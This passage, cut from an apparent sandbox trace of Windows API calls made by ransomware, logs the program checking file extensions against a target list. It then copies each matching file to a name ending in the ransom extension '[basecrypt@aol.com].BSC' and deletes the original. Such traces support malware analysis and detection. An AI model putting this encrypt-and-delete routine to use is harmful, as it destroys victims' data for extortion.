(lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.042] lstrlenW (lpString=".zip") returned 4 [0102.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.042] lstrlenW (lpString=".rar") returned 4 [0102.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.042] lstrlenW (lpString=".bz2") returned 4 [0102.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.042] lstrlenW (lpString=".7z") returned 3 [0102.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.042] lstrlenW (lpString=".dbf") returned 4 [0102.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.042] lstrlenW (lpString=".1cd") returned 4 [0102.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0102.042] lstrlenW (lpString=".jpg") returned 4 [0102.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.042] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.042] lstrlenW (lpString="eula.rtf") returned 8 [0102.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.401] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3419) returned 1 [0102.401] CloseHandle (hObject=0x33c) returned 1 [0102.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0102.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.401] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.402] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.402] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.402] GetLastError () returned 0x0 [0102.402] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xd5b, lpOverlapped=0x0) returned 1 [0102.446] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xd60, lpOverlapped=0x0) returned 1 [0102.447] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.447] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.448] SetEndOfFile (hFile=0x344) returned 1 [0102.448] CloseHandle (hObject=0x344) returned 1 [0102.453] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.453] SetEndOfFile (hFile=0x33c) returned 1 [0102.454] CloseHandle (hObject=0x33c) returned 1 [0102.454] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.454] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0102.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.455] lstrlenW (lpString=".doc") returned 4 [0102.455] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString=".docx") returned 5 [0102.455] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.455] lstrlenW (lpString=".pdf") returned 4 [0102.455] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString=".xls") returned 4 [0102.455] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.455] lstrlenW (lpString=".xlsx") returned 5 [0102.455] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.455] lstrlenW (lpString=".ppt") returned 4 [0102.455] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.455] lstrlenW (lpString=".zip") returned 4 [0102.455] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.455] lstrlenW (lpString=".rar") returned 4 [0102.455] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString=".bz2") returned 4 [0102.455] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString=".7z") returned 3 [0102.455] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.455] lstrlenW (lpString=".dbf") returned 4 [0102.455] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.455] lstrlenW (lpString=".1cd") returned 4 [0102.456] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.456] lstrlenW (lpString=".jpg") returned 4 [0102.456] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.456] lstrlenW (lpString=".doc") returned 4 [0102.456] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.456] lstrlenW (lpString=".docx") returned 5 [0102.456] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.456] lstrlenW (lpString=".pdf") returned 4 [0102.456] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.456] lstrlenW (lpString=".xls") returned 4 [0102.456] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.456] lstrlenW (lpString=".xlsx") returned 5 [0102.456] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.456] lstrlenW (lpString=".ppt") returned 4 [0102.456] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.456] lstrlenW (lpString=".zip") returned 4 [0102.456] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.456] lstrlenW (lpString=".rar") returned 4 [0102.456] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.457] lstrlenW (lpString=".bz2") returned 4 [0102.457] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.457] lstrlenW (lpString=".7z") returned 3 [0102.457] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.457] lstrlenW (lpString=".dbf") returned 4 [0102.457] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.457] lstrlenW (lpString=".1cd") returned 4 [0102.457] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0102.457] lstrlenW (lpString=".jpg") returned 4 [0102.457] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.457] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.457] lstrlenW (lpString="eula.rtf") returned 8 [0102.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.458] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3702) returned 1 [0102.458] CloseHandle (hObject=0x33c) returned 1 [0102.458] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0102.458] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.458] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.458] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.458] GetLastError () returned 0x0 [0102.459] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xe76, lpOverlapped=0x0) returned 1 [0102.507] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe80, lpOverlapped=0x0) returned 1 [0102.508] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.508] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.509] SetEndOfFile (hFile=0x344) returned 1 [0102.509] CloseHandle (hObject=0x344) returned 1 [0102.510] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.510] SetEndOfFile (hFile=0x33c) returned 1 [0102.511] CloseHandle (hObject=0x33c) returned 1 [0102.511] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.511] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0102.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.512] lstrlenW (lpString=".doc") returned 4 [0102.512] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.512] lstrlenW (lpString=".docx") returned 5 [0102.512] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.512] lstrlenW (lpString=".pdf") returned 4 [0102.512] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.512] lstrlenW (lpString=".xls") returned 4 [0102.512] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.512] lstrlenW (lpString=".xlsx") returned 5 [0102.512] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.512] lstrlenW (lpString=".ppt") returned 4 [0102.512] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.512] lstrlenW (lpString=".zip") returned 4 [0102.512] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.512] lstrlenW (lpString=".rar") returned 4 [0102.512] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.512] lstrlenW (lpString=".bz2") returned 4 [0102.512] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.512] lstrlenW (lpString=".7z") returned 3 [0102.512] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString=".dbf") returned 4 [0102.513] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString=".1cd") returned 4 [0102.513] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString=".jpg") returned 4 [0102.513] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString=".doc") returned 4 [0102.513] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString=".docx") returned 5 [0102.513] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.513] lstrlenW (lpString=".pdf") returned 4 [0102.513] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString=".xls") returned 4 [0102.513] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.513] lstrlenW (lpString=".xlsx") returned 5 [0102.513] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.513] lstrlenW (lpString=".ppt") returned 4 [0102.513] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.513] lstrlenW (lpString=".zip") returned 4 [0102.513] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.513] lstrlenW (lpString=".rar") returned 4 [0102.514] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.514] lstrlenW (lpString=".bz2") returned 4 [0102.514] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.514] lstrlenW (lpString=".7z") returned 3 [0102.514] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.514] lstrlenW (lpString=".dbf") returned 4 [0102.514] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.514] lstrlenW (lpString=".1cd") returned 4 [0102.514] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0102.514] lstrlenW (lpString=".jpg") returned 4 [0102.514] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.514] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.514] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.515] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=77022) returned 1 [0102.515] CloseHandle (hObject=0x33c) returned 1 [0102.515] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0102.515] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.515] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.515] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.515] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.515] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.515] GetLastError () returned 0x0 [0102.516] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x12cde, lpOverlapped=0x0) returned 1 [0102.551] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0102.553] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.553] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.553] SetEndOfFile (hFile=0x344) returned 1 [0102.553] CloseHandle (hObject=0x344) returned 1 [0102.556] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.556] SetEndOfFile (hFile=0x33c) returned 1 [0102.558] CloseHandle (hObject=0x33c) returned 1 [0102.558] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.559] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0102.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.559] lstrlenW (lpString=".doc") returned 4 [0102.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.559] lstrlenW (lpString=".docx") returned 5 [0102.559] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.559] lstrlenW (lpString=".pdf") returned 4 [0102.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.559] lstrlenW (lpString=".xls") returned 4 [0102.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.559] lstrlenW (lpString=".xlsx") returned 5 [0102.559] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.559] lstrlenW (lpString=".ppt") returned 4 [0102.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.559] lstrlenW (lpString=".zip") returned 4 [0102.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.560] lstrlenW (lpString=".rar") returned 4 [0102.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString=".bz2") returned 4 [0102.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString=".7z") returned 3 [0102.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.560] lstrlenW (lpString=".dbf") returned 4 [0102.560] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.560] lstrlenW (lpString=".1cd") returned 4 [0102.560] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.560] lstrlenW (lpString=".jpg") returned 4 [0102.560] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.560] lstrlenW (lpString=".doc") returned 4 [0102.560] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString=".docx") returned 5 [0102.560] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.560] lstrlenW (lpString=".pdf") returned 4 [0102.560] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.560] lstrlenW (lpString=".xls") returned 4 [0102.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString=".xlsx") returned 5 [0102.561] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.561] lstrlenW (lpString=".ppt") returned 4 [0102.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.561] lstrlenW (lpString=".zip") returned 4 [0102.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.561] lstrlenW (lpString=".rar") returned 4 [0102.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString=".bz2") returned 4 [0102.561] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString=".7z") returned 3 [0102.561] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.561] lstrlenW (lpString=".dbf") returned 4 [0102.561] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.561] lstrlenW (lpString=".1cd") returned 4 [0102.561] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0102.562] lstrlenW (lpString=".jpg") returned 4 [0102.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.562] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.562] lstrlenW (lpString="eula.rtf") returned 8 [0102.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.562] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3526) returned 1 [0102.562] CloseHandle (hObject=0x33c) returned 1 [0102.562] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0102.562] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 